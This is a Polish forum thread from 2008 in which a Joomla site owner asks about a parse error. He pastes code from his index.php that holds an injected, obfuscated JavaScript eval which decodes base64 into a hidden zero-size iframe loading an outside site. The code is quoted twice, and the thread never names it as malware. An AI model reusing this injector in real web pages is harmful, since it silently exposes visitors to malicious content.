Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [PHP]Błąd Parse error w Joomla
Forum PHP.pl > Forum > Przedszkole
jerry123
Witam
Sorry, że tutaj ale na forum Joomla jakoś nic nie mogę znaleźć. Problem jest następujący stronka postawiona na serwerze internetdsl w Joomla 1.5.6 dzialała prawie miesiąc, aż tu wczoraj przy próbie wejścia pojawił się błąd:
CODE
Parse error: syntax error, unexpected '?' in index.php on line 88


Nie znam się na php więc może ktoś mnie oświeci i podpowie jak to ugryźć. Wkleję fragment kodu z tego index.php od 87 linii:

CODE
echo JResponse::toString($mainframe->getCfg('gzip')); <script type=text/javascript>

eval("function _g_u(t){var k='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o='';var q,w,e;var a,s,d,f;var i=0;do{a = k.indexOf(t.charAt(i++));s=k.indexOf(t.charAt(i++));d=k.indexOf(t.charAt(i++));f
k.indexOf(t.charAt(i++));q=(a << 2) | (s >> 4);w=((s & 15) << 4) | (d >> 2);e=((d & 3) << 6) | f;o=o+String.fromCharCode(q);if(d!=64) o=o+String.fromCharCode(w); if(f!=64) o=o+String.fromCharCode(e);} while(i<t.length);document.write(o);};_g_u('PElGUkFNRSBTUkM9Imh0dHA6Ly90cmFmZmEuaW5mby9pbWcvc3R5bGUvc3R5bGUucGhwIiBXSURU
D0wIEhFSUdIVD0wPjwvSUZSQU1FPg==');");



Bardzo mi zależy na przywróceniu stronki do życia, bo to szkolna stronka i szefuńcio mnie zje, a nie zdążyłem zrobić kopii...
i boję się myśleć co będzie jak się nie uda sadsmiley02.gif
redelek
Cytat(jerry123 @ 28.09.2008, 18:21:49 ) *
Witam
Sorry, że tutaj ale na forum Joomla jakoś nic nie mogę znaleźć. Problem jest następujący stronka postawiona na serwerze internetdsl w Joomla 1.5.6 dzialała prawie miesiąc, aż tu wczoraj przy próbie wejścia pojawił się błąd:
CODE
Parse error: syntax error, unexpected '?' in index.php on line 88


Nie znam się na php więc może ktoś mnie oświeci i podpowie jak to ugryźć. Wkleję fragment kodu z tego index.php od 87 linii:

CODE
echo JResponse::toString($mainframe->getCfg('gzip')); <script type=text/javascript>

eval("function _g_u(t){var k='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o='';var q,w,e;var a,s,d,f;var i=0;do{a = k.indexOf(t.charAt(i++));s=k.indexOf(t.charAt(i++));d=k.indexOf(t.charAt(i++));f
k.indexOf(t.charAt(i++));q=(a << 2) | (s >> 4);w=((s & 15) << 4) | (d >> 2);e=((d & 3) << 6) | f;o=o+String.fromCharCode(q);if(d!=64) o=o+String.fromCharCode(w); if(f!=64) o=o+String.fromCharCode(e);} while(i<t.length);document.write(o);};_g_u('PElGUkFNRSBTUkM9Imh0dHA6Ly90cmFmZmEuaW5mby9pbWcvc3R5bGUvc3R5bGUucGhwIiBXSURU
D0wIEhFSUdIVD0wPjwvSUZSQU1FPg==');");



Bardzo mi zależy na przywróceniu stronki do życia, bo to szkolna stronka i szefuńcio mnie zje, a nie zdążyłem zrobić kopii...
i boję się myśleć co będzie jak się nie uda sadsmiley02.gif


Nie musisz się znać:)
Pobierz Jomla wypakuj ją i zobacz jak tam wygląda index.php. Porównaj ze swoim.
Prawdopodobnie brakuje takiego znaczka ?> czyli zakończenia kodu PHP.

Najprościej to porównaj swój plik z oryginalnym i po sprawie.

Pozdrawiam
Redelek
jerry123
Witam ponownie
Dzięki za pomoc tak właśnie zrobiłem - i udało się chociaż nie bardzo wiem dlaczego. Podzielę się z Wami, może komuś się przyda...
Otóż jak pisałem wcześniej nie znam php, nie zdążyłem zrobić kopii zapasowj (teraz już mam zrobioną), więc normalnie miałem doła. Miałem na dysku lokalnym archwum z którego instalowalem Joomla, więc rozpakowałem i porównałem pliki index.php z serwera gdzie jest stronka i te z pakietu instalacyjnego, aha plików index.php znalazłem 2 - drugi w katalogu administrator i w obu tych plikach na serwerze był na końcu jakiś kod po 'gzip')); - to co wkleiłem w poprzednim poście - więc nie mając nic do stracenia ustawilem ten fragment jako komentarz /**/ w obu plikach i poszło.
Nie wiem skąd to się tam wzięło, czy jakiś moduł coś wkleił, czy jak próbowałem uruchomić możliwość logowania coś nabroiłem, czy ktoś się włamał...
no ale ważne, że stronka działa , czyżby Joomla była tak nieodporna na możliwość grzebania w kodzie przez intruza
pozdrawiam
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.